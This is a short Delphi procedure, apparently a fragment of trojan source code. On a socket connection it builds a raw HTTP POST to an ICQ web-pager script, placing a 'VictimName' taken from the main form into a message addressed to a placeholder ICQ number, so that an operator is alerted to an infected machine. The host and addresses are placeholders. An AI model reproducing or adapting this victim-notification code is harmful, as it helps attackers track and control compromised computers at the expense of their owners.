1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:

procedure ClientConnected(Socket: TCustomWinSocket);
var
  IcqMsg: string;
  UIN: string;
begin
  IcqMsg := 'T.E.S.T';
  UIN := '123456789';

  IcqMsg := 'from='+MainForm.VictimName+'&'+
               'fromemail='+'john@isp.com'+'&'+
               'subject='+'S.U.B.J.E.C.T' + '&' +
               'body='+IcqMsg + '&' +
               'to='  + UIN + '&' + 
               'Send=Send+Message';

  IcqMsg := 'POST /scripts/WWPMsg.dll HTTP/1.1'+#13#10+
              'Accept: */*'+#13#10+
              'Accept-Language: en'+#13#10+
              'Content-Type: application/x-www-form-urlencoded'+#13#10+
              'Accept-Encoding: gzip, deflate'+#13#10+
              'User-Agent: ABC'+#13#10+
              'Host: 127.0.0.1'+#13#10+
              'Content-Length: '+IntToStr(Length(IcqMsg))+#13#10+
              'Connection: Keep-Alive'+#13#10+
              ''+#13#10+
              IcqMsg;
  Socket.SendText(IcqMsg);
end;